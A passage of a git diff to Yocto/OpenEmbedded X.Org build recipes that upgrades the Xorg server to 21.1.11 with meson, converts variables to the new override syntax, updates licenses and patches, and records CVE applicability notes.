-LICENSE = "MIT-X"
+LICENSE = "MIT"
XORG_PN = "${BPN}"
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuarm/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuarm/xorg.conf
index f4cd139e8d..3eb380a0a4 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuarm/xorg.conf
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuarm/xorg.conf
@@ -35,4 +35,8 @@ Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
Option "AllowEmptyInput" "no"
+ Option "BlankTime" "0"
+ Option "StandbyTime" "0"
+ Option "SuspendTime" "0"
+ Option "OffTime" "0"
EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuppc/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuppc/xorg.conf
index f4cd139e8d..3eb380a0a4 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuppc/xorg.conf
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuppc/xorg.conf
@@ -35,4 +35,8 @@ Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
Option "AllowEmptyInput" "no"
+ Option "BlankTime" "0"
+ Option "StandbyTime" "0"
+ Option "SuspendTime" "0"
+ Option "OffTime" "0"
EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemush4/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemush4/xorg.conf
index f4cd139e8d..3eb380a0a4 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemush4/xorg.conf
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemush4/xorg.conf
@@ -35,4 +35,8 @@ Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
Option "AllowEmptyInput" "no"
+ Option "BlankTime" "0"
+ Option "StandbyTime" "0"
+ Option "SuspendTime" "0"
+ Option "OffTime" "0"
EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86-64/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86-64/xorg.conf
index c12d92c201..c01c3331c5 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86-64/xorg.conf
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86-64/xorg.conf
@@ -30,4 +30,8 @@ Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
Option "AllowEmptyInput" "no"
+ Option "BlankTime" "0"
+ Option "StandbyTime" "0"
+ Option "SuspendTime" "0"
+ Option "OffTime" "0"
EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86/xorg.conf
index c12d92c201..c01c3331c5 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86/xorg.conf
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86/xorg.conf
@@ -30,4 +30,8 @@ Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
Option "AllowEmptyInput" "no"
+ Option "BlankTime" "0"
+ Option "StandbyTime" "0"
+ Option "SuspendTime" "0"
+ Option "OffTime" "0"
EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
index 5420b7d23e..03f14cef2b 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
@@ -1,18 +1,17 @@
SUMMARY = "X.Org X server configuration file"
HOMEPAGE = "http://www.x.org"
SECTION = "x11/base"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-PR = "r33"
SRC_URI = "file://xorg.conf"
S = "${WORKDIR}"
-CONFFILES_${PN} = "${sysconfdir}/X11/xorg.conf"
+CONFFILES:${PN} = "${sysconfdir}/X11/xorg.conf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
do_install () {
if test -s ${WORKDIR}/xorg.conf; then
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc b/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
index b3e03744c0..22f7d9a8ad 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
@@ -1,7 +1,7 @@
SUMMARY = "The X.Org X server"
HOMEPAGE = "http://www.x.org"
SECTION = "x11/base"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=5df87950af51ac2c5822094553ea1880"
# xf86-*-* packages depend on an X server built with the xfree86 DDX
@@ -15,18 +15,29 @@ PROVIDES += "virtual/xserver"
PE = "2"
XORG_PN = "xorg-server"
-SRC_URI = "${XORG_MIRROR}/individual/xserver/${XORG_PN}-${PV}.tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/xserver/${XORG_PN}-${PV}.tar.xz"
-CVE_PRODUCT = "xorg-server"
+UPSTREAM_CHECK_REGEX = "xorg-server-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
+
+CVE_PRODUCT = "xorg-server x_server"
+
+CVE_STATUS[CVE-2011-4613] = "not-applicable-platform: This is specific to Debian's xserver-wrapper.c"
+CVE_STATUS[CVE-2020-25697] = "upstream-wontfix: \
+As per upstream, exploiting this flaw is non-trivial and it requires exact \
+timing on the behalf of the attacker. Many graphical applications exit if their \
+connection to the X server is lost, so a typical desktop session is either \
+impossible or difficult to exploit. There is currently no upstream patch \
+available for this flaw."
+CVE_STATUS[CVE-2022-3553] = "cpe-incorrect: This is specific to XQuartz, which is the macOS X server port"
S = "${WORKDIR}/${XORG_PN}-${PV}"
-inherit autotools pkgconfig
+inherit meson pkgconfig
inherit features_check
REQUIRED_DISTRO_FEATURES = "x11"
-LIB_DEPS = "pixman libxfont2 xtrans libxau libxext libxdmcp libdrm libxkbfile libpciaccess"
+LIB_DEPS = "pixman libxfont2 xtrans libxau libxext libxdmcp libdrm libxkbfile libpciaccess libxcvt libtirpc"
DEPENDS = "xorgproto ${LIB_DEPS} font-util"
# Split out some modules and extensions from the main package
@@ -67,96 +78,80 @@ PACKAGES =+ "${PN}-sdl \
${PN}-module-libxf4bpp \
xf86-video-modesetting"
-SUMMARY_xf86-video-modesetting = "X.Org X server -- modesetting display driver"
-INSANE_SKIP_${MLPREFIX}xf86-video-modesetting = "xorg-driver-abi"
-
-XSERVER_RRECOMMENDS = "xkeyboard-config rgb xserver-xf86-config xkbcomp xf86-input-libinput"
-RRECOMMENDS_${PN} += "${XSERVER_RRECOMMENDS}"
-RRECOMMENDS_${PN}-xwayland += "${XSERVER_RRECOMMENDS}"
-RDEPENDS_${PN}-xvfb += "xkeyboard-config"
-RDEPENDS_${PN}-module-exa = "${PN} (= ${EXTENDPKGV})"
-
-FILES_${PN} = "${bindir} ${libdir}/X11/Options ${libdir}/X11/Cards ${libdir}/X11/getconfig ${libdir}/X11/etc ${libdir}/modules/*.so ${libdir}/xorg/modules/*.so /etc/X11 ${libdir}/xorg/protocol.txt ${datadir}/X11/xorg.conf.d"
-FILES_${PN}-dev += "${libdir}/xorg/modules/*.la ${libdir}/xorg/modules/*/*.la"
-FILES_${PN}-doc += "${libdir}/X11/doc ${datadir}/X11/xkb/compiled/README.compiled ${localstatedir}/lib/xkb/README.compiled"
-FILES_${PN}-sdl = "${bindir}/Xsdl"
-FILES_${PN}-fbdev = "${bindir}/Xfbdev"
-FILES_${PN}-xvfb = "${bindir}/Xvfb"
-FILES_${PN}-utils = "${bindir}/scanpci ${bindir}/pcitweak ${bindir}/ioport ${bindir}/in[bwl] ${bindir}/out[bwl] ${bindir}/mmap[rw] ${bindir}/gtf ${bindir}/getconfig ${bindir}/getconfig.pl"
-FILES_${PN}-xephyr = "${bindir}/Xephyr"
-FILES_${PN}-xwayland = "${bindir}/Xwayland"
-FILES_${PN}-multimedia-modules = "${libdir}/xorg/modules/multimedia/*drv*"
-FILES_${PN}-extension-dri = "${libdir}/xorg/modules/extensions/libdri.so"
-FILES_${PN}-extension-dri2 = "${libdir}/xorg/modules/extensions/libdri2.so"
-FILES_${PN}-extension-glx = "${libdir}/xorg/modules/extensions/libglx.so"
-FILES_${PN}-extension-record = "${libdir}/xorg/modules/extensions/librecord.so"
-FILES_${PN}-extension-extmod = "${libdir}/xorg/modules/extensions/libextmod.so"
-FILES_${PN}-extension-dbe = "${libdir}/xorg/modules/extensions/libdbe.so"
-FILES_${PN}-module-libint10 = "${libdir}/xorg/modules/libint10.so"
-FILES_${PN}-module-libafb = "${libdir}/xorg/modules/libafb.so"
-FILES_${PN}-module-libwfb = "${libdir}/xorg/modules/libwfb.so"
-FILES_${PN}-module-libmfb = "${libdir}/xorg/modules/libmfb.so"
-FILES_${PN}-module-libcfb = "${libdir}/xorg/modules/libcfb.so"
-FILES_${PN}-module-exa = "${libdir}/xorg/modules/libexa.so"
-FILES_${PN}-module-xaa = "${libdir}/xorg/modules/libxaa.so"
-FILES_${PN}-module-libxf1bpp = "${libdir}/xorg/modules/libxf1bpp.so"
-FILES_${PN}-module-libxf4bpp = "${libdir}/xorg/modules/libxf4bpp.so"
-FILES_xf86-video-modesetting = "${libdir}/xorg/modules/drivers/modesetting_drv.so"
-
-EXTRA_OECONF += "--with-fop=no \
- --with-pic \
- --disable-static \
- --disable-record \
- --disable-dmx \
- --disable-xnest \
- --enable-xvfb \
- --enable-composite \
- --without-dtrace \
- --with-int10=x86emu \
- --sysconfdir=/etc/X11 \
- --localstatedir=/var \
- --with-xkb-output=/var/lib/xkb \
- --with-os-name=Linux \
+SUMMARY:xf86-video-modesetting = "X.Org X server -- modesetting display driver"
+INSANE_SKIP:${MLPREFIX}xf86-video-modesetting = "xorg-driver-abi"
+
+XSERVER_RDEPENDS = "xkeyboard-config rgb xserver-xf86-config xkbcomp xf86-input-libinput"
+RDEPENDS:${PN} += "${XSERVER_RDEPENDS}"
+RDEPENDS:${PN}-xwayland += "${XSERVER_RDEPENDS}"
+RDEPENDS:${PN}-xvfb += "xkeyboard-config"
+RDEPENDS:${PN}-module-exa = "${PN} (= ${EXTENDPKGV})"
+
+FILES:${PN} = "${bindir} ${libdir}/X11/Options ${libdir}/X11/Cards ${libdir}/X11/getconfig ${libdir}/X11/etc ${libdir}/modules/*.so ${libdir}/xorg/modules/input/*.so ${libdir}/xorg/modules/*.so /etc/X11 ${libdir}/xorg/protocol.txt ${datadir}/X11/xorg.conf.d"
+FILES:${PN}-dev += "${libdir}/xorg/modules/*.la ${libdir}/xorg/modules/*/*.la"
+FILES:${PN}-doc += "${libdir}/X11/doc ${datadir}/X11/xkb/compiled/README.compiled ${localstatedir}/lib/xkb/README.compiled"
+FILES:${PN}-sdl = "${bindir}/Xsdl"
+FILES:${PN}-fbdev = "${bindir}/Xfbdev"
+FILES:${PN}-xvfb = "${bindir}/Xvfb"
+FILES:${PN}-utils = "${bindir}/scanpci ${bindir}/pcitweak ${bindir}/ioport ${bindir}/in[bwl] ${bindir}/out[bwl] ${bindir}/mmap[rw] ${bindir}/gtf ${bindir}/getconfig ${bindir}/getconfig.pl"
+FILES:${PN}-xephyr = "${bindir}/Xephyr"
+FILES:${PN}-xwayland = "${bindir}/Xwayland"
+FILES:${PN}-multimedia-modules = "${libdir}/xorg/modules/multimedia/*drv*"
+FILES:${PN}-extension-dri = "${libdir}/xorg/modules/extensions/libdri.so"
+FILES:${PN}-extension-dri2 = "${libdir}/xorg/modules/extensions/libdri2.so"
+FILES:${PN}-extension-glx = "${libdir}/xorg/modules/extensions/libglx.so"
+FILES:${PN}-extension-record = "${libdir}/xorg/modules/extensions/librecord.so"
+FILES:${PN}-extension-extmod = "${libdir}/xorg/modules/extensions/libextmod.so"
+FILES:${PN}-extension-dbe = "${libdir}/xorg/modules/extensions/libdbe.so"
+FILES:${PN}-module-libint10 = "${libdir}/xorg/modules/libint10.so"
+FILES:${PN}-module-libafb = "${libdir}/xorg/modules/libafb.so"
+FILES:${PN}-module-libwfb = "${libdir}/xorg/modules/libwfb.so"
+FILES:${PN}-module-libmfb = "${libdir}/xorg/modules/libmfb.so"
+FILES:${PN}-module-libcfb = "${libdir}/xorg/modules/libcfb.so"
+FILES:${PN}-module-exa = "${libdir}/xorg/modules/libexa.so"
+FILES:${PN}-module-xaa = "${libdir}/xorg/modules/libxaa.so"
+FILES:${PN}-module-libxf1bpp = "${libdir}/xorg/modules/libxf1bpp.so"
+FILES:${PN}-module-libxf4bpp = "${libdir}/xorg/modules/libxf4bpp.so"
+FILES:xf86-video-modesetting = "${libdir}/xorg/modules/drivers/modesetting_drv.so"
+
+EXTRA_OEMESON += " \
+ -Dxnest=false \
+ -Ddtrace=false \
+ -Dint10=x86emu \
+ -Dxkb_output_dir=/var/lib/xkb \
"
-OPENGL_PKGCONFIGS = "dri glx glamor dri3 xshmfence"
+OPENGL_PKGCONFIGS = "dri glx glamor dri3"
PACKAGECONFIG ??= "dga dri2 udev ${XORG_CRYPTO} \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '${OPENGL_PKGCONFIGS}', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl wayland', 'xwayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd systemd-logind', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-logind', '', d)} \
"
-PACKAGECONFIG[udev] = "--enable-config-udev,--disable-config-udev,udev"
-PACKAGECONFIG[dga] = "--enable-dga,--disable-dga"
-PACKAGECONFIG[dri] = "--enable-dri,--disable-dri,virtual/mesa"
-PACKAGECONFIG[dri2] = "--enable-dri2,--disable-dri2"
-# DRI3 requires xshmfence to also be enabled
-PACKAGECONFIG[dri3] = "--enable-dri3,--disable-dri3"
-PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,virtual/libgl virtual/libx11"
-PACKAGECONFIG[glamor] = "--enable-glamor,--disable-glamor,libepoxy virtual/libgbm,libegl"
-PACKAGECONFIG[unwind] = "--enable-libunwind,--disable-libunwind,libunwind"
-PACKAGECONFIG[xshmfence] = "--enable-xshmfence,--disable-xshmfence,libxshmfence"
-PACKAGECONFIG[xmlto] = "--with-xmlto, --without-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-PACKAGECONFIG[systemd-logind] = "--enable-systemd-logind=yes,--enable-systemd-logind=no,dbus,"
-PACKAGECONFIG[systemd] = "--with-systemd-daemon,--without-systemd-daemon,systemd"
-PACKAGECONFIG[xinerama] = "--enable-xinerama,--disable-xinerama"
-PACKAGECONFIG[xwayland] = "--enable-xwayland,--disable-xwayland,wayland wayland-native wayland-protocols libepoxy"
+PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
+PACKAGECONFIG[dga] = "-Ddga=true,-Ddga=false"
+PACKAGECONFIG[dri] = "-Ddri1=true,-Ddri1=false,virtual/mesa"
+PACKAGECONFIG[dri2] = "-Ddri2=true,-Ddri2=false"
+PACKAGECONFIG[dri3] = "-Ddri3=true,-Ddri3=false"
+PACKAGECONFIG[glx] = "-Dglx=true,-Dglx=false,virtual/libgl virtual/libx11"
+PACKAGECONFIG[glamor] = "-Dglamor=true,-Dglamor=false,libepoxy virtual/libgbm,libegl"
+PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[systemd-logind] = "-Dsystemd_logind=true,-Dsystemd_logind=false,dbus,"
+PACKAGECONFIG[xinerama] = "-Dxinerama=true,-Dxinerama=false"
+PACKAGECONFIG[xvfb] = "-Dxvfb=true,-Dxvfb=false"
# Xorg requires a SHA1 implementation, pick one
XORG_CRYPTO ??= "openssl"
-PACKAGECONFIG[openssl] = "--with-sha1=libcrypto,,openssl"
-PACKAGECONFIG[nettle] = "--with-sha1=libnettle,,nettle"
-PACKAGECONFIG[gcrypt] = "--with-sha1=libgcrypt,,libgcrypt"
+PACKAGECONFIG[openssl] = "-Dsha1=libcrypto,,openssl"
+PACKAGECONFIG[nettle] = "-Dsha1=libnettle,,nettle"
+PACKAGECONFIG[gcrypt] = "-Dsha1=libgcrypt,,libgcrypt"
-do_install_append () {
- # Its assumed base-files creates this for us
- rmdir ${D}${localstatedir}/log/
+do_install:append () {
sed -i -e 's,${libdir}/xorg/modules,${prefix}/lib*/xorg/modules,' ${D}${mandir}/man5/xorg.conf.5
}
# Add runtime provides for the ABI versions of the video and input subsystems,
# so that drivers can depend on the relevant version.
-python populate_packages_prepend() {
+python populate_packages:prepend() {
import subprocess
# Set PKG_CONFIG_PATH so pkg-config looks at the .pc files that are going
@@ -177,6 +172,8 @@ python populate_packages_prepend() {
return "%sxorg-abi-%s-%s" % (mlprefix, name, output)
pn = d.getVar("PN")
- d.appendVar("RPROVIDES_" + pn, " " + get_abi("input"))
- d.appendVar("RPROVIDES_" + pn, " " + get_abi("video"))
+ d.appendVar("RPROVIDES:" + pn, " " + get_abi("input"))
+ d.appendVar("RPROVIDES:" + pn, " " + get_abi("video"))
}
+
+CVE_STATUS[CVE-2023-5574] = "${@bb.utils.contains('PACKAGECONFIG', 'xvfb', '', 'not-applicable-config: specific to Xvfb', d)}"
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
new file mode 100644
index 0000000000..11d5546537
--- /dev/null
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch
@@ -0,0 +1,29 @@
+From ce3b8a230a3805c9b557c1f106795675bd034860 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 17 Aug 2020 10:50:51 -0700
+Subject: [PATCH] Avoid duplicate definitions of IOPortBase
+
+This fixed build with gcc10/-fno-common
+
+Fixes
+compiler.h:528: multiple definition of `IOPortBase';
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ hw/xfree86/os-support/linux/lnx_video.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/hw/xfree86/os-support/linux/lnx_video.c b/hw/xfree86/os-support/linux/lnx_video.c
+index fd83022..1d0d96e 100644
+--- a/hw/xfree86/os-support/linux/lnx_video.c
++++ b/hw/xfree86/os-support/linux/lnx_video.c
+@@ -78,6 +78,7 @@ xf86OSInitVidMem(VidMemInfoPtr pVidMem)
+ /***************************************************************************/
+ /* I/O Permissions section */
+ /***************************************************************************/
++_X_EXPORT unsigned int IOPortBase; /* Memory mapped I/O port area */
+
+ #if defined(__powerpc__)
+ volatile unsigned char *ioBase = NULL;
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch
deleted file mode 100644
index 4b8e43f1e4..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 84338444179cab7ede1252a11b66e3b8f657e6a4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 7 Feb 2020 20:36:45 +0100
-Subject: [PATCH] drmmode_display.c: add missing mi.h include
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- hw/xfree86/drivers/modesetting/drmmode_display.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/hw/xfree86/drivers/modesetting/drmmode_display.c b/hw/xfree86/drivers/modesetting/drmmode_display.c
-index e18cc37..3445cce 100644
---- a/hw/xfree86/drivers/modesetting/drmmode_display.c
-+++ b/hw/xfree86/drivers/modesetting/drmmode_display.c
-@@ -46,6 +46,7 @@
- #include "xf86Crtc.h"
- #include "drmmode_display.h"
- #include "present.h"
-+#include "mi.h"
-
- #include <cursorstr.h>
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch
deleted file mode 100644
index c0c242814b..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 8a382c015cd3c69fcfc146ef03dcbf30c77ff207 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 1 Mar 2019 09:47:57 -0800
-Subject: [PATCH] test/xtest: Initialize array with braces
-
-Fixes an error when extra warnings are enabled, this is caught with clang
-
-test/xtest.c:64:23: error: suggest braces around initialization of subobject [-Werror,-Wmissing-braces]
- WindowRec root = {0};
- ^
- {}
-1 error generated.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- test/xtest.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/test/xtest.c b/test/xtest.c
-index fc5e433..d7e6620 100644
---- a/test/xtest.c
-+++ b/test/xtest.c
-@@ -61,7 +61,7 @@ xtest_init_devices(void)
- {
- ScreenRec screen = {0};
- ClientRec server_client = {0};
-- WindowRec root = {0};
-+ WindowRec root = {{0}};
- WindowOptRec optional = {0};
-
- /* random stuff that needs initialization */
---
-2.21.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch
deleted file mode 100644
index 2ef9fa9fe4..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/xserver/merge_requests/22]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 5f65a6246fe752764045dd1e38912f1dccec71e4 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 20 Sep 2018 20:12:24 +0100
-Subject: [PATCH] xorg-server.m4: just all cflags instead of just sdkdir
-
-Instead of fetching just the sdkdir variable of xorg-server using pkg-config,
-simply get all of the CFLAGS. Aside from completeness, this helps builds in
-sysroots as pkg-config knows what to do with --cflags but doesn't remap
-arbitrary variables.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- xorg-server.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/xorg-server.m4 b/xorg-server.m4
-index 18255b91a..195bda5d8 100644
---- a/xorg-server.m4
-+++ b/xorg-server.m4
-@@ -31,7 +31,7 @@ dnl
- AC_DEFUN([XORG_DRIVER_CHECK_EXT],[
- AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- SAVE_CFLAGS="$CFLAGS"
-- CFLAGS="$CFLAGS -I`$PKG_CONFIG --variable=sdkdir xorg-server`"
-+ CFLAGS="$CFLAGS `$PKG_CONFIG --cflags xorg-server`"
- AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
- #include "xorg-server.h"
- #if !defined $1
---
-2.11.0
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch b/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch
deleted file mode 100644
index be198ece49..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/xserver/merge_requests/253]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From ca832598d38ba55a001088b57d73c6d7261dc9a7 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 1 Aug 2019 15:24:51 +0100
-Subject: [PATCH] sdksyms.sh: don't embed the build path
-
-This script generates a header that has a comment containing the build path for
-no real reason. As this source can end up deployed on targets in debug packages
-this means there is both potentially sensitive information leakage about the
-build environment, and a source of change for reproducible builds.
----
- hw/xfree86/sdksyms.sh | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/hw/xfree86/sdksyms.sh b/hw/xfree86/sdksyms.sh
-index 39e33711d..bdf47a71a 100755
---- a/hw/xfree86/sdksyms.sh
-+++ b/hw/xfree86/sdksyms.sh
-@@ -302,13 +302,16 @@ LC_ALL=C
- export LC_ALL
- ${CPP:-cpp} "$@" sdksyms.c > /dev/null || exit $?
- ${CPP:-cpp} "$@" sdksyms.c | ${AWK:-awk} -v topdir=$topdir '
-+function basename(file) {
-+ sub(".*/", "", file)
-+ return file
-+}
- BEGIN {
- sdk = 0;
- print("/*");
- print(" * These symbols are referenced to ensure they");
- print(" * will be available in the X Server binary.");
- print(" */");
-- printf("/* topdir=%s */\n", topdir);
- print("_X_HIDDEN void *xorg_symbols[] = {");
-
- printf("sdksyms.c:") > "sdksyms.dep";
-@@ -337,7 +340,7 @@ BEGIN {
- # remove quotes
- gsub(/"/, "", $3);
- line = $2;
-- header = $3;
-+ header = basename($3);
- if (! headers[$3]) {
- printf(" \\\n %s", $3) >> "sdksyms.dep";
- headers[$3] = 1;
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.8.bb b/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.8.bb
deleted file mode 100644
index 26815feb33..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.8.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-require xserver-xorg.inc
-
-SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
- file://pkgconfig.patch \
- file://0001-test-xtest-Initialize-array-with-braces.patch \
- file://sdksyms-no-build-path.patch \
- file://0001-drmmode_display.c-add-missing-mi.h-include.patch \
- "
-SRC_URI[md5sum] = "a770aec600116444a953ff632f51f839"
-SRC_URI[sha256sum] = "d17b646bee4ba0fb7850c1cc55b18e3e8513ed5c02bdf38da7e107f84e2d0146"
-
-# These extensions are now integrated into the server, so declare the migration
-# path for in-place upgrades.
-
-RREPLACES_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
-RPROVIDES_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
-RCONFLICTS_${PN} = "${PN}-extension-dri \
- ${PN}-extension-dri2 \
- ${PN}-extension-record \
- ${PN}-extension-extmod \
- ${PN}-extension-dbe \
- "
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.11.bb b/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.11.bb
new file mode 100644
index 0000000000..6506d775ca
--- /dev/null
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.11.bb
@@ -0,0 +1,28 @@
+require xserver-xorg.inc
+
+SRC_URI += "file://0001-xf86pciBus.c-use-Intel-ddx-only-for-pre-gen4-hardwar.patch \
+ file://0001-Avoid-duplicate-definitions-of-IOPortBase.patch \
+ "
+SRC_URI[sha256sum] = "1d3dadbd57fb86b16a018e9f5f957aeeadf744f56c0553f55737628d06d326ef"
+
+# These extensions are now integrated into the server, so declare the migration
+# path for in-place upgrades.
+
+RREPLACES:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
+RPROVIDES:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
+RCONFLICTS:${PN} = "${PN}-extension-dri \
+ ${PN}-extension-dri2 \
+ ${PN}-extension-record \
+ ${PN}-extension-extmod \
+ ${PN}-extension-dbe \
+ "
diff --git a/meta/recipes-graphics/xrestop/xrestop_0.4.bb b/meta/recipes-graphics/xrestop/xrestop_0.4.bb
index c7b8716f6f..a6b6c4238d 100644
--- a/meta/recipes-graphics/xrestop/xrestop_0.4.bb
+++ b/meta/recipes-graphics/xrestop/xrestop_0.4.bb
@@ -5,12 +5,11 @@ DESCRIPTION = "top-like statistics of X11 server resource usage by clients"
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/xrestop"
BUGTRACKER = "https://bugs.freedesktop.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://xrestop.c;endline=18;md5=730876c30f0d8a928676bcd1242a3b35"
SECTION = "x11/utils"
-PR = "r3"
DEPENDS = "libxres libxext virtual/libx11 ncurses"
diff --git a/meta/recipes-graphics/xwayland/xwayland_23.2.5.bb b/meta/recipes-graphics/xwayland/xwayland_23.2.5.bb
new file mode 100644
